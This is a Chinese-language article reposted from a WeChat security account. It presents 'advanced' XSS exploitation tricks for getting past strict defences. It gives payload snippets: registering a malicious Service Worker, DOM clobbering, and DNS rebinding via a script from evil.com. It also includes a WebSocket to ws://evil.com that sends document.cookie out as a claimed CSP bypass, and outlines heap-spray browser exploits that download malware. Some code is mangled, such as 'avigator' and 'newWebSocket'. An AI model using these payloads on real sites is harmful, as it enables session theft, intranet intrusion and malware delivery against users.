XSS（跨站脚本攻击）的非常规高级利用技巧

以下是XSS（跨站脚本攻击）的非常规高级利用技巧，涵盖深度渗透、持久化攻击及现代浏览器特性滥用等场景，适合在严格防御环境下突破限制：

一、持久化与深度渗透

• 场景：目标网站允许注册Service Worker（如PWA应用）。

• 步骤：

• avigator.serviceWorker.register('/evil-sw.js').then(()=>{   console.log('Service Worker注册成功！');});

1. 控制所有页面请求：通过evil-sw.js拦截请求、篡改内容或窃取数据。

1. 注入脚本注册恶意Service Worker：

• 劫持合法扩展的通信机制：

• 通过XSS调用浏览器扩展的API（如密码管理器的getCredentials）。

• 示例：Chrome扩展若未限制externally_connectable，可通过chrome.runtime.sendMessage窃取数据。

• 原理：通过HTML注入覆盖DOM元素属性，影响JS逻辑。

• 示例：

• <!-- 注入元素覆盖全局变量 --><formid="config"><inputname="admin"value="true"></form>

• // 页面原有逻辑：if (window.config.admin) { 开启管理员功能 }

二、跨协议与跨源攻击

• 步骤：

1. 用户访问恶意页面，触发XSS加载<script src="http://evil.com:8080">。

2. 攻击者控制DNS服务器，将evil.com快速重绑定到内网IP（如192.168.1.1）。

3. 浏览器因同源策略失效，脚本可访问内网服务。

• 绕过CSP限制：

  const ws =newWebSocket('ws://evil.com');ws.onopen=()=>{ ws.send(document.cookie);};

• 即使CSP限制了connect-src，部分浏览器仍允许未加密的WebSocket连接。

• 场景：允许用户上传PDF且未过滤JS内容。

• 技巧：在PDF中插入JS代码，利用阅读器渲染触发XSS（如旧版Adobe Reader）。

三、0day级浏览器漏洞利用

• 步骤：

1. 通过XSS加载精心构造的JS代码，触发浏览器引擎（如V8）的类型混淆漏洞。

2. 利用堆喷（Heap Spraying）技术覆盖内存，执行Shellcode。

3. 突破沙箱，下载并运行恶意程序。

• 现代浏览器特性滥用：
  利用SharedArrayBuffer和Web Worker进行高精度计时，通过缓存侧信道窃取敏感数据（如密码输入时序）。

原文始发于微信公众号（SQ安全渗透）：XSS（跨站脚本攻击）的非常规高级利用技巧